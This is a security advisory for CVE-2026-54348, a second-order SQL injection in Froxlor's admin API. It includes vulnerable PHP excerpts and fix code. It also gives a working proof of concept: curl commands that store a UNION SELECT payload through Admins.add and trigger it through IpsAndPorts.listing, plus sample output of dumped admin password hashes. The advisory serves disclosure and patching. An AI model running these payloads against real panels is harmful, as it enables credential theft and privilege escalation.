GHSA-W27M-RMMF-G5W4
Vulnerability from github – Published: 2026-08-18 20:47 – Updated: 2026-08-18 20:47Summary
A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.
Details
The vulnerability spans two code locations that form a store-then-trigger chain.
Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358
$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
? json_encode($ipaddress) // ← attacker payload written to panel_admins.ip
: -1),
The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.
Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77
if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
// json_decode restores the array; implode joins elements with no casting or escaping
$ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
"SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)
The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.
Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.
PoC
Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.
Step 1 — Poison: store the UNION SELECT payload via Admins.add
curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{
"command": "Admins.add",
"params": {
"name": "x",
"new_loginname": "eviladmin",
"email": "x@x.local",
"admin_password": "Passw0rd!123",
"ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
}
}'
The ip column of panel_admins for eviladmin now contains:
["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account
No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:
http://TARGET/admin_index.php?page=ipsandports
Or directly via API:
curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{"command":"IpsAndPorts.listing"}'
Confirmed output from live instance (localhost:8290):
{
"data": {
"list": [
{
"ip": "admin",
"port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
},
{
"ip": "eviladmin",
"port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
}
]
}
}
The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.
Minimum reproduction — two CMD single-line commands:
Step 1: poison (run once with any admin API key that has change_serversettings=1):
curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}"
Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):
curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
Confirmed output from live instance (localhost:8290) — step 2 alone:
curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
{
"data": {
"list": [
{ "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" },
{ "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" }
]
}
}
Impact
Type: Second-Order SQL Injection (UNION-based)
Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has change_serversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.
Consequences:
- Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request.
- Lateral movement — cracked hashes allow login to other admin accounts or customer accounts.
- Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.
- Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.
Fix
Option A (recommended) — Integer-cast all elements before implode:
// lib/Froxlor/Api/Commands/IpsAndPorts.php:72
$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));
$ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")";
Option B — Validate at storage time in Admins.add / Admins.update:
// lib/Froxlor/Api/Commands/Admins.php
if (is_array($ipaddress)) {
$ipaddress = array_filter($ipaddress, 'is_numeric');
}
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0
? json_encode(array_map('intval', $ipaddress))
: -1),
Apply the same fix to the identical pattern in Domains.php:1016.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "froxlor/froxlor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54348"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:47:59Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA second-order SQL injection vulnerability in Froxlor\u0027s admin API allows an authenticated administrator to store a crafted SQL payload in the `panel_admins.ip` column via the `Admins.add` or `Admins.update` endpoint. The payload executes as a UNION-based SQL injection the next time `IpsAndPorts.listing` is called by the poisoned account, returning arbitrary data from the database \u2014 including all administrator login names and bcrypt password hashes.\n\n---\n\n### Details\n\nThe vulnerability spans two code locations that form a store-then-trigger chain.\n\n**Stage 1 \u2014 Unsanitized array stored as JSON** \u2014 `lib/Froxlor/Api/Commands/Admins.php:251,358`\n\n```php\n$ipaddress = $this-\u003egetParam(\u0027ipaddress\u0027, true, -1);\n// No type enforcement or content validation on $ipaddress.\n// PHP evaluates (is_array([...]) \u0026\u0026 non_empty_array \u003e 0) as true,\n// so any attacker-controlled array is JSON-encoded and stored verbatim.\n\u0027ip\u0027 =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 $ipaddress \u003e 0\n ? json_encode($ipaddress) // \u2190 attacker payload written to panel_admins.ip\n : -1),\n```\n\nThe INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.\n\n**Stage 2 \u2014 JSON payload imploded directly into SQL** \u2014 `lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77`\n\n```php\nif (!empty($this-\u003egetUserDetail(\u0027ip\u0027)) \u0026\u0026 $this-\u003egetUserDetail(\u0027ip\u0027) != -1) {\n // json_decode restores the array; implode joins elements with no casting or escaping\n $ip_where = \"WHERE `id` IN (\" . implode(\", \", json_decode($this-\u003egetUserDetail(\u0027ip\u0027), true)) . \")\";\n}\n$result_stmt = Database::prepare(\n \"SELECT * FROM `panel_ipsandports` \" . $ip_where . ...\n);\n// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (\u003cPAYLOAD\u003e)\n```\n\nThe same unsanitized implode pattern exists in `lib/Froxlor/Api/Commands/Domains.php:1016`.\n\nEvery other place in the codebase that builds dynamic `IN` clauses uses either integer casting (`(int)`) or parameterized subqueries. The `ip`-column path is the sole exception.\n\n---\n\n### PoC\n\u003cimg width=\"2452\" height=\"1476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95\" /\u003e\n\n\n\n**Prerequisites:** Valid Froxlor admin API key with `change_serversettings = 1`.\n\n**Step 1 \u2014 Poison: store the UNION SELECT payload via `Admins.add`**\n\n```bash\ncurl -s -u \"APIKEY:SECRET\" http://TARGET/api.php \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"command\": \"Admins.add\",\n \"params\": {\n \"name\": \"x\",\n \"new_loginname\": \"eviladmin\",\n \"email\": \"x@x.local\",\n \"admin_password\": \"Passw0rd!123\",\n \"ipaddress\": [\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n }\n }\u0027\n```\n\nThe `ip` column of `panel_admins` for `eviladmin` now contains:\n```\n[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n```\n\n**Step 2 \u2014 Trigger: call `IpsAndPorts.listing` as the poisoned account**\n\nNo interaction beyond a single API call. Visiting the following URL while authenticated as `eviladmin` is sufficient:\n\n```\nhttp://TARGET/admin_index.php?page=ipsandports\n```\n\nOr directly via API:\n\n```bash\ncurl -s -u \"EVIL_APIKEY:EVIL_SECRET\" http://TARGET/api.php \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"command\":\"IpsAndPorts.listing\"}\u0027\n```\n\n**Confirmed output from live instance (`localhost:8290`):**\n\n```json\n{\n \"data\": {\n \"list\": [\n {\n \"ip\": \"admin\",\n \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\"\n },\n {\n \"ip\": \"eviladmin\",\n \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\"\n }\n ]\n }\n}\n```\n\nThe `ip` field returns `loginname` and `port` returns the bcrypt password hash of every administrator in the database.\n\n**Minimum reproduction \u2014 two CMD single-line commands:**\n\nStep 1: poison (run once with any admin API key that has `change_serversettings=1`):\n\n```cmd\ncurl -su \"APIKEY:SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"Admins.add\\\",\\\"params\\\":{\\\"name\\\":\\\"x\\\",\\\"new_loginname\\\":\\\"poc\\\",\\\"email\\\":\\\"x@x.local\\\",\\\"admin_password\\\":\\\"Passw0rd!1\\\",\\\"ipaddress\\\":[\\\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\\\"]}}\"\n```\n\nStep 2: trigger (run with the poisoned account\u0027s API key \u2014 visiting the page in a browser also suffices):\n\n```cmd\ncurl -su \"POC_APIKEY:POC_SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n**Confirmed output from live instance (`localhost:8290`) \u2014 step 2 alone:**\n\n```cmd\ncurl -su \"evil_key_abc123:evil_secret_xyz456\" http://localhost:8290/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n```json\n{\n \"data\": {\n \"list\": [\n { \"ip\": \"admin\", \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\" },\n { \"ip\": \"eviladmin\", \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\" }\n ]\n }\n}\n```\n\n---\n\n### Impact\n\n**Type:** Second-Order SQL Injection (UNION-based)\n\n**Who is impacted:** Any Froxlor installation with the API enabled and at least one admin account that has `change_serversettings = 1`. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.\n\nConsequences:\n\n- **Full credential dump** \u2014 all admin and customer login names and bcrypt password hashes are extractable in a single request.\n- **Lateral movement** \u2014 cracked hashes allow login to other admin accounts or customer accounts.\n- **Data exfiltration** \u2014 the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.\n- **Privilege escalation** \u2014 a reseller admin (limited permissions) can extract the super-admin\u0027s credentials and gain full control of the panel.\n\n---\n\n### Fix\n\n**Option A (recommended) \u2014 Integer-cast all elements before implode:**\n\n```php\n// lib/Froxlor/Api/Commands/IpsAndPorts.php:72\n$ip_ids = array_map(\u0027intval\u0027, json_decode($this-\u003egetUserDetail(\u0027ip\u0027), true));\n$ip_where = \"WHERE `id` IN (\" . implode(\", \", $ip_ids) . \")\";\n```\n\n**Option B \u2014 Validate at storage time in `Admins.add` / `Admins.update`:**\n\n```php\n// lib/Froxlor/Api/Commands/Admins.php\nif (is_array($ipaddress)) {\n $ipaddress = array_filter($ipaddress, \u0027is_numeric\u0027);\n}\n\u0027ip\u0027 =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 count($ipaddress) \u003e 0\n ? json_encode(array_map(\u0027intval\u0027, $ipaddress))\n : -1),\n```\n\nApply the same fix to the identical pattern in `Domains.php:1016`.\n\n---",
"id": "GHSA-w27m-rmmf-g5w4",
"modified": "2026-08-18T20:47:59Z",
"published": "2026-08-18T20:47:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e"
},
{
"type": "PACKAGE",
"url": "https://github.com/froxlor/froxlor"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.